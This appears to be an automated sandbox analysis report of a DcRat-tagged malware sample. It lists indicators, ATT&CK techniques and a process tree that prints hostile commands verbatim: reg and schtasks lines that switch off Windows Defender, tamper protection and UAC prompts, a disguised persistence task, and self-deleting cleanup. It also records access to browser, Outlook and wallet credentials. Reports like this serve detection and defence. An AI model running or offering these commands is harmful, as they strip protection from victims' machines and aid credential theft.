dcrat | 0101794c4248210be00cb7601be585015c9f78af80232958e70484e12e88f24f

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2540-271-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

Processes:

reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Downloads MZ/PE file
Executes dropped EXE 10 IoCs

Processes:

C605.exeC981.exeD45F.exeD5D7.exeC605.exeC605.exeC605.exemstsca.exeD5D7.exeD5D7.exe

pid process

3388 C605.exe
224 C981.exe
4392 D45F.exe
4972 D5D7.exe
2580 C605.exe
4160 C605.exe
1336 C605.exe
440 mstsca.exe
3640 D5D7.exe
2540 D5D7.exe

pid	process
3388	C605.exe
224	C981.exe
4392	D45F.exe
4972	D5D7.exe
2580	C605.exe
4160	C605.exe
1336	C605.exe
440	mstsca.exe
3640	D5D7.exe
2540	D5D7.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

D5D7.exeC605.exeC605.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	D5D7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	C605.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	C605.exe

Loads dropped DLL 3 IoCs

Processes:

regsvr32.exebuild2.exe

pid process

4496 regsvr32.exe
3228 build2.exe
3228 build2.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

2380 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4496	regsvr32.exe
3228	build2.exe
3228	build2.exe

pid	process
2380	icacls.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

C605.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\da1605b8-ee8d-4662-aa9d-fbf4b72991f6\\C605.exe\" --AutoStart"	C605.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

32 api.2ip.ua
33 api.2ip.ua
41 api.2ip.ua

flow	ioc
32	api.2ip.ua
33	api.2ip.ua
41	api.2ip.ua

Suspicious use of SetThreadContext 4 IoCs

Processes:

C605.exeC605.exebuild2.exeD5D7.exe

description	pid	process	target process
PID 3388 set thread context of 2580	3388	C605.exe	C605.exe
PID 4160 set thread context of 1336	4160	C605.exe	C605.exe
PID 1984 set thread context of 3228	1984	build2.exe	build2.exe
PID 4972 set thread context of 2540	4972	D5D7.exe	D5D7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

0101794c4248210be00cb7601be585015c9f78af80232958e70484e12e88f24f.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	0101794c4248210be00cb7601be585015c9f78af80232958e70484e12e88f24f.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	0101794c4248210be00cb7601be585015c9f78af80232958e70484e12e88f24f.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	0101794c4248210be00cb7601be585015c9f78af80232958e70484e12e88f24f.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

748 schtasks.exe
4816 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1232 timeout.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

2972 taskkill.exe

pid	process
748	schtasks.exe
4816	schtasks.exe

pid	process
1232	timeout.exe

pid	process
2972	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

0101794c4248210be00cb7601be585015c9f78af80232958e70484e12e88f24f.exe

pid	process
4856	0101794c4248210be00cb7601be585015c9f78af80232958e70484e12e88f24f.exe
4856	0101794c4248210be00cb7601be585015c9f78af80232958e70484e12e88f24f.exe
684
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Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

684
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

0101794c4248210be00cb7601be585015c9f78af80232958e70484e12e88f24f.exe

pid process

4856 0101794c4248210be00cb7601be585015c9f78af80232958e70484e12e88f24f.exe
684
684
684
684

pid	process
684

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

D5D7.exewmic.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	4972	D5D7.exe
Token: SeIncreaseQuotaPrivilege	4512	wmic.exe
Token: SeSecurityPrivilege	4512	wmic.exe
Token: SeTakeOwnershipPrivilege	4512	wmic.exe
Token: SeLoadDriverPrivilege	4512	wmic.exe
Token: SeSystemProfilePrivilege	4512	wmic.exe
Token: SeSystemtimePrivilege	4512	wmic.exe
Token: SeProfSingleProcessPrivilege	4512	wmic.exe
Token: SeIncBasePriorityPrivilege	4512	wmic.exe
Token: SeCreatePagefilePrivilege	4512	wmic.exe
Token: SeBackupPrivilege	4512	wmic.exe
Token: SeRestorePrivilege	4512	wmic.exe
Token: SeShutdownPrivilege	4512	wmic.exe
Token: SeDebugPrivilege	4512	wmic.exe
Token: SeSystemEnvironmentPrivilege	4512	wmic.exe
Token: SeRemoteShutdownPrivilege	4512	wmic.exe
Token: SeUndockPrivilege	4512	wmic.exe
Token: SeManageVolumePrivilege	4512	wmic.exe
Token: 33	4512	wmic.exe
Token: 34	4512	wmic.exe
Token: 35	4512	wmic.exe
Token: 36	4512	wmic.exe
Token: SeIncreaseQuotaPrivilege	4512	wmic.exe
Token: SeSecurityPrivilege	4512	wmic.exe
Token: SeTakeOwnershipPrivilege	4512	wmic.exe
Token: SeLoadDriverPrivilege	4512	wmic.exe
Token: SeSystemProfilePrivilege	4512	wmic.exe
Token: SeSystemtimePrivilege	4512	wmic.exe
Token: SeProfSingleProcessPrivilege	4512	wmic.exe
Token: SeIncBasePriorityPrivilege	4512	wmic.exe
Token: SeCreatePagefilePrivilege	4512	wmic.exe
Token: SeBackupPrivilege	4512	wmic.exe
Token: SeRestorePrivilege	4512	wmic.exe
Token: SeShutdownPrivilege	4512	wmic.exe
Token: SeDebugPrivilege	4512	wmic.exe
Token: SeSystemEnvironmentPrivilege	4512	wmic.exe
Token: SeRemoteShutdownPrivilege	4512	wmic.exe
Token: SeUndockPrivilege	4512	wmic.exe
Token: SeManageVolumePrivilege	4512	wmic.exe
Token: 33	4512	wmic.exe
Token: 34	4512	wmic.exe
Token: 35	4512	wmic.exe
Token: 36	4512	wmic.exe
Token: SeShutdownPrivilege	684
Token: SeCreatePagefilePrivilege	684
Token: SeDebugPrivilege	3484	powershell.exe
Token: SeShutdownPrivilege	684
Token: SeCreatePagefilePrivilege	684
Token: SeIncreaseQuotaPrivilege	3908	WMIC.exe
Token: SeSecurityPrivilege	3908	WMIC.exe
Token: SeTakeOwnershipPrivilege	3908	WMIC.exe
Token: SeLoadDriverPrivilege	3908	WMIC.exe
Token: SeSystemProfilePrivilege	3908	WMIC.exe
Token: SeSystemtimePrivilege	3908	WMIC.exe
Token: SeProfSingleProcessPrivilege	3908	WMIC.exe
Token: SeIncBasePriorityPrivilege	3908	WMIC.exe
Token: SeCreatePagefilePrivilege	3908	WMIC.exe
Token: SeBackupPrivilege	3908	WMIC.exe
Token: SeRestorePrivilege	3908	WMIC.exe
Token: SeShutdownPrivilege	3908	WMIC.exe
Token: SeDebugPrivilege	3908	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3908	WMIC.exe
Token: SeRemoteShutdownPrivilege	3908	WMIC.exe
Token: SeUndockPrivilege	3908	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

regsvr32.exeC981.exeD5D7.exeC605.execmd.execmd.exeC605.exeC605.exe

description	pid	process	target process
PID 684 wrote to memory of 392	684		regsvr32.exe
PID 684 wrote to memory of 392	684		regsvr32.exe
PID 392 wrote to memory of 4496	392	regsvr32.exe	regsvr32.exe
PID 392 wrote to memory of 4496	392	regsvr32.exe	regsvr32.exe
PID 392 wrote to memory of 4496	392	regsvr32.exe	regsvr32.exe
PID 684 wrote to memory of 3388	684		C605.exe
PID 684 wrote to memory of 3388	684		C605.exe
PID 684 wrote to memory of 3388	684		C605.exe
PID 684 wrote to memory of 224	684		C981.exe
PID 684 wrote to memory of 224	684		C981.exe
PID 684 wrote to memory of 224	684		C981.exe
PID 684 wrote to memory of 4392	684		D45F.exe
PID 684 wrote to memory of 4392	684		D45F.exe
PID 684 wrote to memory of 4392	684		D45F.exe
PID 684 wrote to memory of 4972	684		D5D7.exe
PID 684 wrote to memory of 4972	684		D5D7.exe
PID 684 wrote to memory of 4972	684		D5D7.exe
PID 684 wrote to memory of 3452	684		explorer.exe
PID 684 wrote to memory of 3452	684		explorer.exe
PID 684 wrote to memory of 3452	684		explorer.exe
PID 684 wrote to memory of 3452	684		explorer.exe
PID 684 wrote to memory of 3624	684		explorer.exe
PID 684 wrote to memory of 3624	684		explorer.exe
PID 684 wrote to memory of 3624	684		explorer.exe
PID 224 wrote to memory of 4512	224	C981.exe	wmic.exe
PID 224 wrote to memory of 4512	224	C981.exe	wmic.exe
PID 224 wrote to memory of 4512	224	C981.exe	wmic.exe
PID 4972 wrote to memory of 3484	4972	D5D7.exe	powershell.exe
PID 4972 wrote to memory of 3484	4972	D5D7.exe	powershell.exe
PID 4972 wrote to memory of 3484	4972	D5D7.exe	powershell.exe
PID 3388 wrote to memory of 2580	3388	C605.exe	C605.exe
PID 3388 wrote to memory of 2580	3388	C605.exe	C605.exe
PID 3388 wrote to memory of 2580	3388	C605.exe	C605.exe
PID 3388 wrote to memory of 2580	3388	C605.exe	C605.exe
PID 3388 wrote to memory of 2580	3388	C605.exe	C605.exe
PID 3388 wrote to memory of 2580	3388	C605.exe	C605.exe
PID 224 wrote to memory of 3420	224	C981.exe	cmd.exe
PID 224 wrote to memory of 3420	224	C981.exe	cmd.exe
PID 224 wrote to memory of 3420	224	C981.exe	cmd.exe
PID 3388 wrote to memory of 2580	3388	C605.exe	C605.exe
PID 3388 wrote to memory of 2580	3388	C605.exe	C605.exe
PID 3388 wrote to memory of 2580	3388	C605.exe	C605.exe
PID 3388 wrote to memory of 2580	3388	C605.exe	C605.exe
PID 3420 wrote to memory of 3908	3420	cmd.exe	WMIC.exe
PID 3420 wrote to memory of 3908	3420	cmd.exe	WMIC.exe
PID 3420 wrote to memory of 3908	3420	cmd.exe	WMIC.exe
PID 224 wrote to memory of 776	224	C981.exe	cmd.exe
PID 224 wrote to memory of 776	224	C981.exe	cmd.exe
PID 224 wrote to memory of 776	224	C981.exe	cmd.exe
PID 776 wrote to memory of 4576	776	cmd.exe	WMIC.exe
PID 776 wrote to memory of 4576	776	cmd.exe	WMIC.exe
PID 776 wrote to memory of 4576	776	cmd.exe	WMIC.exe
PID 2580 wrote to memory of 2380	2580	C605.exe	icacls.exe
PID 2580 wrote to memory of 2380	2580	C605.exe	icacls.exe
PID 2580 wrote to memory of 2380	2580	C605.exe	icacls.exe
PID 2580 wrote to memory of 4160	2580	C605.exe	C605.exe
PID 2580 wrote to memory of 4160	2580	C605.exe	C605.exe
PID 2580 wrote to memory of 4160	2580	C605.exe	C605.exe
PID 4160 wrote to memory of 1336	4160	C605.exe	C605.exe
PID 4160 wrote to memory of 1336	4160	C605.exe	C605.exe
PID 4160 wrote to memory of 1336	4160	C605.exe	C605.exe
PID 4160 wrote to memory of 1336	4160	C605.exe	C605.exe
PID 4160 wrote to memory of 1336	4160	C605.exe	C605.exe
PID 4160 wrote to memory of 1336	4160	C605.exe	C605.exe

outlook_office_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\0101794c4248210be00cb7601be585015c9f78af80232958e70484e12e88f24f.exe
"C:\Users\Admin\AppData\Local\Temp\0101794c4248210be00cb7601be585015c9f78af80232958e70484e12e88f24f.exe"
1⤵
- DcRat
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4856

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\C47D.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:392

C:\Windows\SysWOW64\regsvr32.exe
/s C:\Users\Admin\AppData\Local\Temp\C47D.dll
2⤵
- Loads dropped DLL
PID:4496

C:\Users\Admin\AppData\Local\Temp\C605.exe
C:\Users\Admin\AppData\Local\Temp\C605.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3388

C:\Users\Admin\AppData\Local\Temp\C605.exe
C:\Users\Admin\AppData\Local\Temp\C605.exe
2⤵
- DcRat
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2580

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\da1605b8-ee8d-4662-aa9d-fbf4b72991f6" /deny *S-1-1-0:(OI)(CI)(DE,DC)
3⤵
- Modifies file permissions
PID:2380

C:\Users\Admin\AppData\Local\Temp\C605.exe
"C:\Users\Admin\AppData\Local\Temp\C605.exe" --Admin IsNotAutoStart IsNotTask
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4160

C:\Users\Admin\AppData\Local\Temp\C605.exe
"C:\Users\Admin\AppData\Local\Temp\C605.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Checks computer location settings
PID:1336

C:\Users\Admin\AppData\Local\cb421d28-a88f-4d99-92b1-21aa8cb52636\build2.exe
"C:\Users\Admin\AppData\Local\cb421d28-a88f-4d99-92b1-21aa8cb52636\build2.exe"
5⤵
- Suspicious use of SetThreadContext
PID:1984

C:\Users\Admin\AppData\Local\cb421d28-a88f-4d99-92b1-21aa8cb52636\build2.exe
"C:\Users\Admin\AppData\Local\cb421d28-a88f-4d99-92b1-21aa8cb52636\build2.exe"
6⤵
- Loads dropped DLL
- Checks processor information in registry
PID:3228

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\cb421d28-a88f-4d99-92b1-21aa8cb52636\build2.exe" & del C:\PrograData\*.dll & exit
7⤵
PID:3752

C:\Windows\SysWOW64\taskkill.exe
taskkill /im build2.exe /f
8⤵
- Kills process with taskkill
PID:2972

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:1232

C:\Users\Admin\AppData\Local\cb421d28-a88f-4d99-92b1-21aa8cb52636\build3.exe
"C:\Users\Admin\AppData\Local\cb421d28-a88f-4d99-92b1-21aa8cb52636\build3.exe"
5⤵
PID:968

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
6⤵
- DcRat
- Creates scheduled task(s)
PID:748

C:\Users\Admin\AppData\Local\Temp\C981.exe
C:\Users\Admin\AppData\Local\Temp\C981.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:224

C:\Windows\SysWOW64\Wbem\wmic.exe
wmic os get Caption
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4512

C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic path win32_VideoController get name"
2⤵
- Suspicious use of WriteProcessMemory
PID:3420

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3908

C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic cpu get name"
2⤵
- Suspicious use of WriteProcessMemory
PID:776

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic cpu get name
3⤵
PID:4576

C:\Users\Admin\AppData\Local\Temp\D45F.exe
C:\Users\Admin\AppData\Local\Temp\D45F.exe
1⤵
- Executes dropped EXE
PID:4392

C:\Users\Admin\AppData\Local\Temp\D5D7.exe
C:\Users\Admin\AppData\Local\Temp\D5D7.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4972

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3484

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Tqqcbghwdivfantidef.bat" "
2⤵
PID:4032

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
3⤵
PID:3304

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t "REG_DWORD" /d 0 /f
3⤵
- UAC bypass
PID:532

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
3⤵
PID:3364

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
3⤵
PID:3628

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
3⤵
PID:1928

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
3⤵
PID:4960

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:4020

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:3444

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:4528

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:4512

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:3424

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
3⤵
PID:376

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
3⤵
PID:1800

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
3⤵
PID:4652

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
3⤵
PID:4612

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
3⤵
PID:4736

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
3⤵
PID:384

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
3⤵
PID:3112

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
3⤵
PID:1056

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
3⤵
PID:3908

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
3⤵
PID:1796

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
3⤵
PID:2108

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
3⤵
PID:3932

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
3⤵
PID:5096

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:4148

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:1484

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:4436

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:4760

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:2760

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:1956

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:4928

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
3⤵
- Modifies security service
PID:3888

C:\Users\Admin\AppData\Local\Temp\D5D7.exe
C:\Users\Admin\AppData\Local\Temp\D5D7.exe
2⤵
- Executes dropped EXE
PID:3640

C:\Users\Admin\AppData\Local\Temp\D5D7.exe
C:\Users\Admin\AppData\Local\Temp\D5D7.exe
2⤵
- Executes dropped EXE
PID:2540

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:3452

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3624

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:440

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
2⤵
- DcRat
- Creates scheduled task(s)
PID:4816

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Bypass User Account Control

T1088

File Permissions Modification

T1222

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery